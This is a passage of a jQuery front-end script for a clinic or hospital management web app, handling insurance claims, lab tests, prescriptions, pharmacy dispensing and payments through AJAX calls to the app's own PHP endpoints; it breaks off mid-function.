function current_show(){}

function current_opac(){}


var errors;
var actstepfocus="";


function getclaimsdetails(actstep,idd) {
	var update="claims_"+idd;
	var updatedetails="claimsdetails_"+idd;
	var icondetails="icon_"+idd;
	//alert(update);		
			
		$("#"+update).toggle();
		 $("#"+icondetails).toggleClass("icon-plus icon-minus");
		/*if(document.getElementById(update).style.display == "block"){
		 $("#"+icondetails).removeClass("icon-minus");
		 $("#"+icondetails).addClass("icon-plus");
		}
		
		if(document.getElementById(update).style.display == "none"){
		$("#"+icondetails).removeClass("icon-plus");
		 $("#"+icondetails).addClass("icon-minus");	
		}*/
		
		
			
			 if((errors=="<br>") || (!errors)){
				//alert($('form').serialize());
			document.getElementById(updatedetails).innerHTML="Processing Please Wait...";			
			 $.ajax({
   type: "POST",
   url: "getstep.php",
   data: $('form').serialize()+"&act="+actstep+"&id="+idd,
success: function(msg){
str=msg;
document.getElementById(updatedetails).innerHTML=msg;
current_opac();


   }
 });
			  }
			  else
			  {
		        errors='Please Correct the following errors\n ------------------------------------------\n'+errors
			alert(errors);
			errors='';
                      //  return false;
			  }
}



function valueChanged()
{
    if($("#other_reactions_checked").is(":checked"))   
        $("#other_reactions").show();
    else
        $("#other_reactions").hide();
}

function checkpatienttype()
{
    if($("#patienttype_2").is(":checked")){   
	    $("#tbl_inpatient").show();
	}
    else{
	    $("#tbl_inpatient").hide();
}
}



function showHint(parent, child, url)
{
        document.getElementById(child).innerHTML="";
	var list2 = document.getElementById(parent);
	var str=list2.options[list2.selectedIndex].value;
	var xmlhttp;
	if (str.length==0)
	  { 
		  document.getElementById(child).innerHTML="";
		  return;
	  }
	if (window.XMLHttpRequest)
	  {// code for IE7+, Firefox, Chrome, Opera, Safari
		  xmlhttp=new XMLHttpRequest();
	  }
	else
	  {// code for IE6, IE5
		  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
	  }
	xmlhttp.onreadystatechange=function()
	  {
	 /* if (xmlhttp.readyState==4 && xmlhttp.status==200)
		{*/
			document.getElementById(child).innerHTML=xmlhttp.responseText;
		//}
	  }
//	xmlhttp.open("GET","blocks_in_building.php?q="+str,true);
	xmlhttp.open("GET",url+".php?q="+str,true);
	xmlhttp.send();
}


//////////////Claim Printing///////////////////
	function getclaimprint(claimid) {
			var errors="";
			var poststr = "&id="+claimid;
			var listcheck=true;
			
			 if((errors=="<br>") || (!errors)){
				 
				 if(listcheck==true){
			
			  //alert($('form').serialize());	
			  var billlink='claim_print/print.php?'+poststr;	
			 // alert(billlink);	  
			  current_show();
			  window.open(billlink, '_blank', 'toolbar=0,resizable=1,scrollbars=1,menubar=1,width='+screen.width+', height='+screen.height);
			 current_opac();
					 
			 // document.getElementById('feerep').innerHTML = "<div align='center'><img src='images/loadingface.gif'/><b>Loading Please Wait...</b></div>";
			 // makePOSTRequest('POST', 'getfeerep.php', 'feerep' , poststr, feerepshow());
				 }else{
					 alert("Please Select Post Office, District or Region");
				 }
			  }
			  else
			  {
			errors='Please Correct the following errors\n ------------------------------------------\n'+errors
			alert(errors);
			errors=null;
			  }
			  
			//showFormLoadProgress('stepArea', 'loader');
			//alert( poststr );
			
			//
		//}	
	}
	
	
	//////////////////
	
	
	//////////////Claim Summary Printing///////////////////
	function getclaimsummaryprint() {
			var errors="";
			//var poststr = "&id="+claimid;
			var listcheck=true;
			
			 if((errors=="<br>") || (!errors)){
				 
				 if(listcheck==true){
			
			  //alert($('form').serialize());	
			  var billlink='claim_print/view_make_claim_submissions.php';	
			 // alert(billlink);	  
			  current_show();
			  window.open(billlink, '_blank', 'toolbar=0,resizable=1,scrollbars=1,menubar=1,width='+screen.width+', height='+screen.height);
			 current_opac();
					 
			 // document.getElementById('feerep').innerHTML = "<div align='center'><img src='images/loadingface.gif'/><b>Loading Please Wait...</b></div>";
			 // makePOSTRequest('POST', 'getfeerep.php', 'feerep' , poststr, feerepshow());
				 }else{
					 alert("Please Select Post Office, District or Region");
				 }
			  }
			  else
			  {
			errors='Please Correct the following errors\n ------------------------------------------\n'+errors
			alert(errors);
			errors=null;
			  }
			  
			//showFormLoadProgress('stepArea', 'loader');
			//alert( poststr );
			
			//
		//}	
	}
	
	
	//////////////////
	
	//////////////Claim Summary Printing///////////////////
	function getclaimsummarydetailprint(mth,yr,inscompany) {
			var errors="";
			var poststr = "?mth="+mth+"&yr="+yr+"&inscompany="+inscompany;
			var listcheck=true;
			
			 if((errors=="<br>") || (!errors)){
				 
				 if(listcheck==true){
			
			  //alert($('form').serialize());	
			  var billlink='claim_print/view_make_claim_submissions_details.php'+poststr;	
			 // alert(billlink);	  
			  current_show();
			  window.open(billlink, '_blank', 'toolbar=0,resizable=1,scrollbars=1,menubar=1,width='+screen.width+', height='+screen.height);
			 current_opac();
					 
			 // document.getElementById('feerep').innerHTML = "<div align='center'><img src='images/loadingface.gif'/><b>Loading Please Wait...</b></div>";
			 // makePOSTRequest('POST', 'getfeerep.php', 'feerep' , poststr, feerepshow());
				 }else{
					 alert("Please Select Post Office, District or Region");
				 }
			  }
			  else
			  {
			errors='Please Correct the following errors\n ------------------------------------------\n'+errors
			alert(errors);
			errors=null;
			  }
			  
			//showFormLoadProgress('stepArea', 'loader');
			//alert( poststr );
			
			//
		//}	
	}
	
	
	//////////////////


//errors;
function getattending_officer(val){
	
	if(val=='Other'){
		
		document.getElementById('other').style.display = "block";
		}else{
		
		document.getElementById('other').style.display = "none";	
		}
}


//function current_opac(){
//	document.getElementById("apDiv1").style.display = "none";
//	document.getElementById("apDiv2").style.display = "none";	
//}
//function current_show(){
//	document.getElementById("apDiv1").style.display = "block";
//	document.getElementById("apDiv2").style.display = "block";
//}





function errormap(actstep) {
    errors = "";
	
	/*if (actstep == "submit_claimsoffice_claim_drug_claimsoffice" ){
		if (!document.getElementById('clientpin').value){
            errors = errors + "Client PIN is required for Submission of Claims\n";
            document.getElementById('clientpin').style.border = "solid red 1px";
        } else {
            document.getElementById('clientpin').style.border = "";
        }
	}*/
	
	if (actstep == "make_payments"){
		
		
		
	if(!document.getElementById('amount_tendered').value){
	 errors = errors + "Amount Tendered must be entered\n";
            document.getElementById('amount_tendered').style.border = "solid red 1px";
			document.getElementById('amount_tendered').focus();	
				
	}	
		
	/*if(document.getElementById('total_price_cash').value>document.getElementById('amount_tendered').value){
		
		alert(document.getElementById('total_price_cash').value);
		
		alert(document.getElementById('amount_tendered').value);
		
	 errors = errors + "Amount Tendered is Less than Total Price of "+document.getElementById('total_price_cash').value;
            document.getElementById('amount_tendered').style.border = "solid red 1px";
			document.getElementById('amount_tendered').focus();	
				
	}*/
}
	
	if (actstep == "passwordchange" ){
		if (!document.getElementById('oldpassword').value){
            errors = errors + "Old Password is required\n";
            document.getElementById('oldpassword').style.border = "solid red 1px";
        } else {
            document.getElementById('oldpassword').style.border = "";
        }
		
        if (!document.getElementById('newpassword').value){
            errors = errors + "New Password is required\n";
            document.getElementById('newpassword').style.border = "solid red 1px";
        } else {
            document.getElementById('newpassword').style.border = "";
        }
		
		if (!document.getElementById('cpassword').value){
            errors = errors + "Confirm New Password is required\n";
            document.getElementById('cpassword').style.border = "solid red 1px";
        } else {
            document.getElementById('cpassword').style.border = "";
        }
		
		if (document.getElementById('cpassword').value!=document.getElementById('newpassword').value){
            errors = errors + "New Password and Confirmation of New Password do not Match\n";
        }
      
        
    }
	
    if (actstep == "search_patient_policy" ){
        if (!document.getElementById('insurance_company').value){
            errors = errors + "Insurance Company is required\n";
            document.getElementById('insurance_company').style.border = "solid red 1px";
        } else {
            document.getElementById('insurance_company').style.border = "";
        }
		
		if (!document.getElementById('membership_no').value){
            errors = errors + "Membership is required\n";
            document.getElementById('membership_no').style.border = "solid red 1px";
        } else {
            document.getElementById('membership_no').style.border = "";
        }
      
        
    }
	
	
	
	if (actstep == "claimno" ){
		
		
		if(!document.getElementById('patienttype_1').checked && !document.getElementById('patienttype_2').checked){ 		
		errors = errors + "Please Select Type of Patient Visit\n";
				document.getElementById('typeofvisit').style.border = "solid red 1px";	
		}else{
		     document.getElementById('typeofvisit').style.border = "";	
		}
		
        
    }
	
	/*if (actstep == "diagnostic_edit_claim_details_diagnostic" ){
		
		
		if (!document.getElementById('attending_officer').value){
            errors = errors + "Attending Medical Officer is required\n";
            document.getElementById('attending_officer').style.border = "solid red 1px";
        } else {
            document.getElementById('attending_officer').style.border = "";
        }
		
        
    }*/
	
	
	
	
	/*if (actstep == "drug_edit_claim_details" || actstep == "drug_edit_claim_details_claimsoffice" || actstep == "drug_edit_claim_details_dental" || actstep == "drug_edit_claim_details_optical"){*/
	
	if(actstep == "submit_claimsoffice_claim_drug_claimsoffice" || actstep == "drug_edit_claim_details_claimsoffice" || actstep == "process_claim_details_claimsoffice"){
		
		
		 if (!document.getElementById('attending_officer').value){
            errors = errors + "Attending Medical Officer is required\n";
            document.getElementById('attending_officer').style.border = "solid red 1px";
        } else {
            document.getElementById('attending_officer').style.border = "";
        }
		
		
		
     if (!document.getElementById('diagnosis_diseases').value){
            errors = errors + "Diagnosis is required\n";
            document.getElementById('add_diseases').style.border = "solid red 1px";
        } else {
            document.getElementById('add_diseases').style.border = "";
        }
		
		//alert(actstep);
        
    }
	
	
		
     
    
    return errors;
}











function getstep(actstep,idd,type,mgtype) {
			errormap(actstep);
			 if((errors=="<br>") || (!errors)){
				 //alert($('form').serialize());
			current_show();			
			 $.ajax({
   type: "POST",
   url: "getstep.php",
   data: $('form').serialize()+"&act="+actstep+"&id="+idd+'&type='+type+'&mgtype='+mgtype,
success: function(msg){
str=msg;
document.getElementById('currentarea').innerHTML=msg;
current_opac();
if(actstep=='add_patient_claim'){
	document.getElementById('attending_officer').focus();
}

if(actstep=='admin_add_new_visit'){
	document.getElementById('searchtext').focus();
}

if(actstep=='view_patient_payments'){
	document.getElementById('amount_tendered').focus();
}


   }
 });
			  }
			  else
			  {
		        errors='Please Correct the following errors\n ------------------------------------------\n'+errors
			alert(errors);
			errors=null;
                      //  return false;
			  }
}


function getstep_new(actstep,responseDivId,idd,editID,callBackFunction,params) {
	errormap(actstep);
	if((errors=="<br>") || (!errors)){
		//current_show();
		
		document.getElementById(responseDivId).innerHTML="Loading List. Please Wait....";
					
		$.ajax({
			type: "POST",
			url: "getstep.php",
			data: $('form').serialize()+"&act="+actstep+"&id="+idd+"&editID="+editID,
			success: function(msg){
				document.getElementById(responseDivId).innerHTML=msg;
				callBackFunction;
				document.getElementById('searchtext_invoice').focus();
				//alert(callBackFunction);
				document.getElementById('searchtext_invoice').value = document.getElementById('searchtext_invoice').value;
				//current_opac();
				//ShowOptionContainer();
			}
		});
	}
	else
	{
		errors='Please Correct the following errors\n ------------------------------------------\n'+errors
		alert(errors);
		errors=null;
		//  return false;
	}
}


function getclaimprocessing(actstep,responseDivId,idd){
//alert($('form').serialize());

var formdata=$('form').serialize();

errormap(actstep);
	if((errors=="<br>") || (!errors)){
		//current_show();
		
		document.getElementById(responseDivId).innerHTML="Loading List. Please Wait....";
					
		$.ajax({
			type: "POST",
			url: "getstep.php",
			data: "act="+actstep+"&id="+idd+"&"+formdata,
			success: function(msg){
				document.getElementById(responseDivId).innerHTML=msg;
				
			}
		});
	}
	else
	{
		errors='Please Correct the following errors\n ------------------------------------------\n'+errors
		alert(errors);
		errors=null;
		//  return false;
	}

}



function getclaimno(actstep,viewresponse,idd,itemqtyid) {
	//alert($('form').serialize());
	
			errormap(actstep);
			 if((errors=="<br>") || (!errors)){
				 
				 if(actstep=='updatesupply_claim_details_pharmacy' || actstep=='updatesupply_claim_details_diagnostic'){
					 
					 if(document.getElementById('itemsupply'+idd).checked){
				itemqtyid="supplied";	 
				 }
				 if(!document.getElementById('itemsupply'+idd).checked){
				itemqtyid="";	 
				 }
				 
				 }
				 
				 if(actstep=='submit_claimsoffice_claim_drug_claimsoffice'){
				itemqtyid=document.getElementById('clientpin').value	 
				 }
				 
			//alert(actstep);
			document.getElementById(viewresponse).innerHTML="Processing Please Wait";		
			 $.ajax({
   type: "POST",
   url: "getstep.php",
   data: $('form').serialize()+"&act="+actstep+"&id="+idd+"&itemqty="+itemqtyid,
success: function(msg){
str=msg;
document.getElementById(viewresponse).innerHTML=msg;
if(actstep=="drug_edit_claim_details"){
//document.getElementById('attending_officer').disabled="true";
//document.getElementById('attending_officer_other').disabled="true";		
}

   }
 });
			  }
			  else
			  {
		        errors='Please Correct the following errors\n ------------------------------------------\n'+errors
			alert(errors);
			errors=null;
                      //  return false;
			  }
}


function getitempayment(actstep,viewresponse,idd,itemqtyid) {
	var paymentdetails=$('form').serialize();
	alert(paymentdetails);
	
			errormap(actstep);
			 if((errors=="<br>") || (!errors)){
				 
				 
				 
			//alert(actstep);
			document.getElementById(viewresponse).innerHTML="Processing Please Wait";		
			 $.ajax({
   type: "POST",
   url: "getstep.php",
   data: paymentdetails+"&act="+actstep+"&id="+idd+"&itemqty="+itemqtyid,
success: function(msg){
str=msg;
document.getElementById(viewresponse).innerHTML=msg;
if(actstep=="drug_edit_claim_details"){
//document.getElementById('attending_officer').disabled="true";
//document.getElementById('attending_officer_other').disabled="true";		
}

   }
 });
			  }
			  else
			  {
		        errors='Please Correct the following errors\n ------------------------------------------\n'+errors
			alert(errors);
			errors=null;
                      //  return false;
			  }
}


function getclaimdetails(actstep,idd,divid) {
	//alert($('form').serialize());
	//alert(idd);
			errormap(actstep);
			 if((errors=="<br>") || (!errors)){
				 
			document.getElementById(divid).innerHTML="Processing Please Wait";		
			 $.ajax({
   type: "POST",
   url: "getstep.php",
   data: $('form').serialize()+"&act="+actstep+"&id="+idd,
success: function(msg){
str=msg;
document.getElementById(divid).innerHTML=msg;






   }
 });
			  }
			  else
			  {
		        errors='Please Correct the following errors\n ------------------------------------------\n'+errors
			alert(errors);
			errors=null;
                      //  return false;
			  }
}



function addclaimitem(actstep,responseDivId,idd,editID,callBackFunction,params) {
	errormap(actstep);
	if((errors=="<br>") || (!errors)){
		//current_show();		
		$.ajax({
			type: "POST",
			url: "getstep.php",
			data: $('form').serialize()+"&act="+actstep+"&id="+idd+"&editID="+editID,
			success: function(msg){
				document.getElementById(responseDivId).innerHTML=msg;
				callBackFunction;
				document.getElementById('searchtext_invoice').focus();
				//alert(callBackFunction);
				document.getElementById('searchtext_invoice').value = document.getElementById('searchtext_invoice').value;
				//current_opac();
				//ShowOptionContainer();
			}
		});
	}
	else
	{
		errors='Please Correct the following errors\n ------------------------------------------\n'+errors
		alert(errors);
		errors=null;
		//  return false;
	}
}


function getedit(actstep,idd) {
//			var errors="<br>";
//			//alert(errors);
//			var poststr = "act=" + encodeURI(actstep)+ "&id=" + encodeURI(idd) ;
//	
//			if( document.getElementById("form") != null ) {
//				var form = document.getElementById("form");
//				poststr = poststr + "&" + encodeURI(buildQuery(form));
//			}
//			

			 if((errors=="<br>") || (!errors)){
			  document.getElementById('currentarea').innerHTML = "<div align='center'><br><br><p><img src='images/loadingface.gif'/><br><br><b>Loading Page Please Wait...</b></p></div>";
			 //current_show();
			  //makePOSTRequest('POST', 'getedit.php', 'currentarea' , poststr, current_opac());
			  
			  current_show();
			
			 $.ajax({
   type: "POST",
   url: "getedit.php",
   data: $('form').serialize()+"&act="+actstep+"&id="+idd,
success: function(msg){
str=msg;
document.getElementById('currentarea').innerHTML=msg;
current_opac();
	 
	 
   }
 });
			  }
			  else
			  {
			errors='Please Correct the following errors\n ------------------------------------------\n'+errors
			alert(errors);
			errors=null;
			  }
			
	}
        


	
function getdel(actstep,idd,item_name) {
			errormap(actstep);
                     
			 var errmsg='Do you want to Delete the Record '+item_name+'?';
			if( confirm(errmsg) ){
			  current_show();
			 $.ajax({
   type: "POST",
   url: "getdel.php",
   data: $('form').serialize()+"&act="+actstep+"&id="+idd,
success: function(msg){
str=msg;
document.getElementById('currentarea').innerHTML=msg;
current_opac();	
   }
 });
			  
			  }
			  else
			  {
			
			  }
			  
}

  
  
  function getpage(actstep,pagenum,totalrows,id,typesearch,searchtxt,mth,yr,inscompany) {
   errormap(actstep);
  // alert(typesearch);
   
   if((errors=="<br>") || (!errors)){
	   //alert($('form').serialize());
   current_show();
   $.ajax({
   type: "POST",
   url: "getstep.php",
   data: $('form').serialize()+"&act="+actstep+"&page_num="+pagenum+"&totalrows="+totalrows+"&typesearch="+typesearch+"&searchtext="+searchtxt+"&id="+id+"&mth="+mth+"&yr="+yr+"&inscompany="+inscompany,
success: function(msg){
str=msg;
document.getElementById('currentarea').innerHTML=msg;
current_opac();
}
 });
}	
	}
        
   function ShowPatientPicture(id){
     $("."+id).html('<img class="folder_icon" style="width:60px;height: 60px" src="images/icons/patient_icon.png">');
   }
   function ShowPatientPicture2(id){
     $("."+id).html('<img class="folder_icon" style="width:60px;height: 60px" src="images/icons/folder.png">');
   }
   
  function PopUpPatientMenu(folder_wrapper,id){
  $("#hidden_patient_id_wrapper").html('<input type="hidden" name="hidden_patient_id" id="hidden_patient_id" value="'+id+'">');
  var position = $("."+folder_wrapper).position();
   $(".pop_pending_patient").hide();
   $("#pop_menu_patient").css({"display":"block"});
  $("#pop_menu_patient").css({"left":position.left + 30,"top":position.top + 60},function(){
  });             
}


function PopPatientNursingBay(folder_wrapper,id){
 $("#hidden_patient_id_wrapper").html('<input type="hidden" name="hidden_patient_id" id="hidden_patient_id" value="'+id+'">');
  var position = $("."+folder_wrapper).position();
  $(".pop_pending_patient").hide();
  $("#pop_menu_patient").css({"display":"block"});
  $("#pop_menu_patient").css({"left":position.left + 30,"top":position.top + 60},function(){
  });       
}

function ShowVitalWindows(item){
   var position = $("#pop_menu_patient").position();
  $(".pop_pending_patient").css({"display":"block"});
  var id = $("#hidden_patient_id").val();
    $.ajax({
   type: "POST",
   url: "patient/patients.php",
   data: "item="+item + "&id="+id,
   success: function(msg){
  $(".pop_pending_patient").html(msg);
  $("#pop_menu_patient").hide();
  $(".pop_pending_patient").css({"left":position.left + 10,"top":position.top-70}); 
}
 }); 
 
  
        
}

function ShowServiceWindows(){
  var position = $("#pop_menu_patient").position();
  $(".pop_pending_patient").css({"display":"block"});
  $("#pop_menu_patient").hide();
  $(".pop_pending_patient").css({"left":position.left + 10,"top":position.top-70},function(){    
  });       
}
//}

//$(".folder_wrapper").live('click',function(e){e.preventDefault()
//   $("#pop_menu_patient").animate({"left":e.pageX + 20,"top":e.pageY + 10},function(){
//   $("#pop_menu_patient").show();   
//  });  
//});

function ClosePopUpMenu(){
   $("#pop_menu_patient").hide(); 
   $(".pop_pending_patient").hide();
}
function ClosePopUpMenu2(){
   $("#drug_prescription").hide(); 
}

function SendToNursingbay(item){;
 $(".pop_pending_patient").hide();
 var id = $("#hidden_patient_id").val();
  current_show();
 $.ajax({
   type: "POST",
   url: "patient/patients.php",
   data: $('form').serialize()+"&id="+id+"&item="+item,
success: function(msg){
    var response = msg.split("@@@");
    $('.show_sendto_nursing_bay').show();
    $("#"+response[0]).html(response[1]);
    $(".folder_wrapper"+id).remove();
    current_opac();
}
 });   
}


function SendPatientDoctor(item){
  $(".pop_pending_patient").hide();
  var id = $("#hidden_patient_id").val();
  current_show();
 $.ajax({
   type: "POST",
   url: "patient/patients.php",
   data: $('form').serialize()+"&item="+item+"&hidden_patient_id="+id,
success: function(msg){
var response = msg.split("@@@");
if(response[0] == 'sendto_nursing_bay'){
$('.show_sendto_nursing_bay').show();
$("#"+response[0]).html(response[1]);
 }else{
  $("#"+response[0]).html(response[1]);
  $("#"+response[0]).fadeIn();
  setTimeout(function() {$("#"+response[0]).slideUp();},4000);
 }
 
 current_opac();
}
 });   
}



function SendPatientDoctor2(){
  $(".pop_pending_patient").hide();
  var id = $("#hidden_patient_id").val();
  $(".folder_wrapper"+id).remove();
     
}

function SaveLabTest(item){
 $.ajax({
   type: "POST",
   url: "lab/test.php",
   data: $('form').serialize()+"&item="+item,
   success: function(){
$("#closemodal").trigger('click');
$(".refresh").trigger('click');
}
 });    
}

function EditLabTest(item,id){
 $.ajax({
   type: "POST",
   url: "lab/test.php",
   data: "item="+item + "&id="+id,
   success: function(msg){
    $("#update_labtest_wrapper").html(msg);   
}
 });    
}

function SearchLabTest(item,id,idd,request_type){
  $('#searchloader').show(); 
  $.ajax({
   type: "POST",
   url: "lab/test.php",
   data: "item="+item + "&id="+id + "&idd="+idd+ "&request_type="+request_type,
   success: function(msg){
    $("#avilablelabtest").html(msg); 
   $('#searchloader').hide();  
}
 });       
}

function SearchDrug(item,id,idd,request_type){
  $('#searchloader').show(); 
  $.ajax({
   type: "POST",
   url: "consultation/drugs.php",
   data: "item="+item + "&id="+id + "&idd="+idd + "&request_type="+request_type,
   success: function(msg){
    $("#avilablelabtest").html(msg); 
   $('#searchloader').hide();  
}
 });       
}

function AddLabTest(item,id,request_type){
  $('#success_message').show(); 
  $.ajax({
   type: "POST",
   url: "lab/test.php",
   data: "item="+item + "&id="+id+ "&request_type="+request_type,
   success: function(msg){
   $('#success_message').hide(); 
   var response = msg.split("@@@");   
   if(response[0] === 'error'){
    $("#danger_message").show();
    $("#danger_message").html(response[1]);
    setTimeout(function() {$("#danger_message").slideUp();},2000);
}else{
   $("#selectedlabtest").html(msg);
   $('#success_message').hide();  
}
   }
 });       
}

function AddDrug(item,id,request_type){
  $('#success_message').show(); 
  $.ajax({
   type: "POST",
   url: "consultation/drugs.php",
   data: "item="+item + "&id="+id + "&request_type="+request_type,
   success: function(msg){
   $('#success_message').hide(); 
   var response = msg.split("@@@");   
   if(response[0] === 'error'){
    $("#danger_message").show();
    $("#danger_message").html(response[1]);
    setTimeout(function() {$("#danger_message").slideUp();},2000);
}else{
   $("#selectedlabtest").html(msg);
   $('#success_message').hide();  
}
   }
 });       
}

function RemoveDrug(item,id){
  $.ajax({
   type: "POST",
   url: "consultation/drugs.php",
   data: "item="+item + "&id="+id,
   success: function(msg){
   $("#selectedlabtest").html(msg);
   }
 });       
}

  function AddCustomPrescription(folder_wrapper,id){
 $("#hidden_patient_id_wrapper").html('<input type="hidden" name="hidden_patient_id" id="hidden_patient_id" value="'+id+'">');
  var position = $("."+folder_wrapper).position();
   $("#drug_prescription").css({"display":"block"});
   $("#textarea_prescription").val('');
  $("#drug_prescription").css({"left":position.left + 50,"top":position.top + 80},function(){
  });  
}



function SaveDrugPatient(item,id,type){
  $.ajax({
   type: "POST",
   url: "consultation/drugs.php",
   data: "item="+item + "&id="+id+ "&type="+type,
   success: function(){
   var msg = id.split("@@@");
   $("#closemodal").trigger('click');
    getstep('pharmacy_services',msg[0],type);
   }
 });       
}

function SaveDrugPatient2(item,id,type){
  $.ajax({
   type: "POST",
   url: "consultation/drugs.php",
   data: "item="+item + "&id="+id+ "&type="+type,
   success: function(){
   var msg = id.split("@@@");
   $("#closemodal").trigger('click');
    getstep('pharmacy_services2',msg[0],type);
   }
 });       
}

function SaveDrugPatient3(item,id,type){
  $.ajax({
   type: "POST",
   url: "consultation/drugs.php",
   data: "item="+item + "&id="+id+ "&type="+type,
   success: function(){
   var msg = id.split("@@@");
   $("#closemodal").trigger('click');
    getstep('pharmacy_services3',msg[0],type);
   }
 });       
}



function RemoveLabTest(item,id){
  $.ajax({
   type: "POST",
   url: "lab/test.php",
   data: "item="+item + "&id="+id,
   success: function(msg){
   $("#selectedlabtest").html(msg);
   }
 });       
}


function SavePrescription(item, value) {
    var id = $("#hidden_patient_id").val();
    $("#success_message").show();
    $.ajax({
        type: "POST",
        url: "consultation/drugs.php",
        data: "item=" + item + "&id=" + id + "&value=" + value,
        success: function() {
            $("#success_message").html("Saved Successfully");
            setTimeout(function() {
                $("#success_message").slideUp();
            }, 2000);
        }
    });
}

function SaveLabTestPatient(item,id,type){
  $.ajax({
   type: "POST",
   url: "lab/test.php",
   data: "item="+item + "&id="+id+ "&type="+type,
   success: function(){
   var msg = id.split("@@@");
   $("#closemodal").trigger('click');
    getstep('lab_services',msg[0],type);
   }
 });       
}

function SaveLabTestPatient2(item,id,type){
  $.ajax({
   type: "POST",
   url: "lab/test.php",
   data: "item="+item + "&id="+id+ "&type="+type,
   success: function(){
   var msg = id.split("@@@");
   $("#closemodal").trigger('click');
    getstep('lab_services2',msg[0],type);
   }
 });       
}

function SaveLabTestPatient3(item,id,type){
  $.ajax({
   type: "POST",
   url: "lab/test.php",
   data: "item="+item + "&id="+id+ "&type="+type,
   success: function(){
   var msg = id.split("@@@");
   $("#closemodal").trigger('click');
    getstep('lab_services3',msg[0],type);
   }
 });       
}

function SaveService(item){
  $.ajax({
   type: "POST",
   url: "finance/finance.php",
   data: $('form').serialize()+"&item="+item,
   success: function(){
   $("#closethismodal").trigger('click');
    getstep('list_services');
   }
 });       
}

function getPatientId(id,item){
  $("#hidden_id_wrapper").html('<input type="hidden" name="hidden_patient_id" id="hidden_patient_id" value="'+id+'">');
   $.ajax({
   type: "POST",
   url: "finance/finance.php",
   data: "item="+item,
   success: function(msg){
     $("#payment_wrapper").html(msg);
   }
 });
}

function SavePayment(item){
    var patient_id = $("#hidden_patient_id").val();
  $.ajax({
   type: "POST",
   url: "finance/finance.php",
   data: $('form').serialize()+"&item="+item+"&hidden_patient_id="+patient_id,
   success: function(msg){
      var response = msg.split("@@@");
      if(response[1] == 'STILL_OWING'){
          alert('The amount entered cannot be less than the actual Service charge')
          return false;
      }else{
      if(response[2] == 'PAID'){
         $(".action_"+response[0]).html(response[1]);
      }
   $("#closethismodal").trigger('click');
   }
   }
 });       
}


function UpdateService(item,id){
  $.ajax({
   type: "POST",
   url: "finance/finance.php",
   data: $('form').serialize()+"&item="+item+"&id="+id,
   success: function(){
   $("#closemodal").trigger('click');
    getstep('list_services');
   }
 });       
}

function EditService(item,id){
  $.ajax({
   type: "POST",
   url: "finance/finance.php",
   data:"item="+item + "&id="+id,
   success: function(msg){
    $("#update_labtest_wrapper").html(msg);   
   }
 });       
}


function ViewPatientspayment(item,id){
   $.ajax({
   type: "POST",
   url: "finance/finance.php",
   data:"item="+item + "&id="+id,
   success: function(msg){
    $("#payment_records").html(msg);   
   }
 });
    
}

function EnterTestResult(item,id){
    current_show();
   $.ajax({
   type: "POST",
   url: "lab/test.php",
   data:"item="+item + "&id="+id,
   success: function(msg){
    $("#test_result_wrapper").html(msg); 
            current_opac();
   }
 });   
}

function SaveLabTestResult(item,id){
   $.ajax({
   type: "POST",
   url: "lab/test.php",
   data:$('form').serialize()+"&item="+item + "&id="+id,
   success: function(msg){
     var response = msg.split("@@@");
    $("#closemodal").trigger("click");  
    $("tr td#status_"+response[0]).html(response[1]);
    swal("Success","Lab result sent successfully","success");
   }
 });   
}

function ViewLabTestResult(item,id){
   $.ajax({
   type: "POST",
   url: "lab/test.php",
   data:"item="+item + "&id="+id,
   success: function(msg){
    $("#test_result_wrapper2").html(msg);   
   }
 });   
}


function ViewPatientDrugs(item,id){
   $.ajax({
   type: "POST",
   url: "consultation/drugs.php",
   data:"item="+item + "&id="+id,
   success: function(msg){
    $("#test_result_wrapper").html(msg);   
   }
 });   
}

function ViewPrescribedPatientDrugs(item,id){
   $("#success_message").show();
   $.ajax({
   type: "POST",
   url: "pharmacy/pharmacy.php",
   data:"item="+item + "&id="+id,
   success: function(msg){
    $("#test_result_wrapper").html(msg); 
    $("#success_message").hide();
   }
 });   
}

function CalculateDrugAmount(item,value,drug_id){
  $("#calculatedrug").html('<b style="color:green;">Calculating...</b>');
   $.ajax({
   type: "POST",
   url: "pharmacy/pharmacy.php",
   data:$('form').serialize()+"&item="+item+"&value="+value+"&drug_id="+drug_id,
   success: function(msg){
     var response = msg.split("@@@");
     if(response[0] == 0){
       $("#danger_message").html(response[1]);  
       $("#danger_message").show();
       $("#drug_qty"+response[2]).val(0);
       setTimeout(function() {$("#danger_message").slideUp();}, 3000);
     }
     else{
    //$("#danger_message").hide();
    $("#calculatedrug").html(response[1]);
    $("#drug_patient_action_wrapper").html(response[0]);
     }
   
   }
 });   
}

function SendToCashier(item){
  $("#success_message").html("Saving Information.Please wait...");
  $("#success_message").show();
  $.ajax({
   type: "POST",
   url: "pharmacy/pharmacy.php",
   data:$('form').serialize()+"&item="+item,
   success: function(){
    $("#closedrugpage").trigger('click');
    $("#success_message").hide();
    getstep('findpatient_pharmacy');
   }
 });   
}

function DrugsDeliveredPaid(item){
  $("#success_message").html("Saving Information.Please wait...");
  $("#success_message").show();
  $.ajax({
   type: "POST",
   url: "pharmacy/pharmacy.php",
   data:$('form').serialize()+"&item="+item,
   success: function(){
    $("#closedrugpage").trigger('click');
    $("#success_message").hide();
   }
 });   
}

function DrugsDelivered(item){
  $("#success_message").html("Saving Information.Please wait...");
  $("#success_message").show();
  $.ajax({
   type: "POST",
   url: "pharmacy/pharmacy.php",
   data:$('form').serialize()+"&item="+item,
   success: function(){
//    $("#success_message").html(msg);   
    $("#closedrugpage").trigger('click');
    $("#success_message").hide();
   }
 });   
}

function PatientDrugsPrescribed(item,id,type2){
   $.ajax({
   type: "POST",
   url: "consultation/drugs.php",
   data:"item="+item + "&id="+id + "&type2="+type2,
   success: function(msg){
    $("#test_result_wrapper").html(msg);   
   }
 });   
}

function PatientTestTaken(item,id){
   $.ajax({
   type: "POST",
   url: "consultation/drugs.php",
   data:"item="+item + "&id="+id,
   success: function(msg){
    $("#test_result_wrapper").html(msg);   
   }
 });   
}

function ViewLabTestTaken(item,id,type2){
   $.ajax({
   type: "POST",
   url: "lab/test.php",
   data:"item="+item + "&id="+id+ "&type2="+type2,
   success: function(msg){
    $("#test_result_wrapper").html(msg);   
   }
 });   
}

function getstep2(actstep) {
   var idd = $("#hidden_patient_id").val(); 
			errormap(actstep);
			 if((errors=="<br>") || (!errors)){
			current_show();			
			 $.ajax({
   type: "POST",
   url: "getstep.php",
   data: $('form').serialize()+"&act="+actstep+"&id="+idd,
success: function(msg){
str=msg;
document.getElementById('currentarea').innerHTML=msg;
current_opac();

   }
 });
			  }
			  else
			  {
